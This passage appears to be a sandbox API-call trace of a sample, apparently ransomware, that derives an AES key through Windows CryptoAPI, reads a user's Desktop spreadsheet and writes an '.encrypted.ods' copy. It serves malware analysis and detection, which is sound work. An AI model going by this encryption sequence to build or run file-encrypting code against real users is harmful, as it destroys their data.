lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.ods") returned 46 [0022.817] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.817] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.817] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.817] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.818] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.818] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.818] CloseHandle (hObject=0x188) returned 1 [0022.818] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.818] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.818] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.818] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.818] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.818] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.818] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.818] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.818] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.818] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.819] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.819] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.819] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.819] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.819] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.819] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.819] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.820] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.820] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.820] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.820] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.820] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.820] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.820] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.821] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.821] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.821] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.821] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.821] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.821] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.821] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.821] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.821] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.821] CryptHashData (hHash=0xe8f40623a0, pbData=0xe8f418b240, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.821] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.822] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.822] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.822] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.822] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.822] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f40623a0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062720) returned 1 [0022.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.822] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.822] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.822] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.822] CryptDestroyHash (hHash=0xe8f40623a0) returned 1 [0022.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.824] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.ods" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\i0uzhq1vo1kg.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.824] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.824] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.825] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0022.825] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\i0uzhq1vo1kg.encrypted.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.825] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.825] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.825] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.825] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.827] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.827] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x9b27, lpOverlapped=0x0) returned 1 [0022.827] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.829] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.830] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.830] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.830] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.830] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.830] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.830] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.831] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.831] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.831] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.831] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.831] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.831] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.832] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.832] CryptGetKeyParam (in: hKey=0xe8f4062720, dwParam=0x7, pbData=0xe8f4064ce0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ce0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, 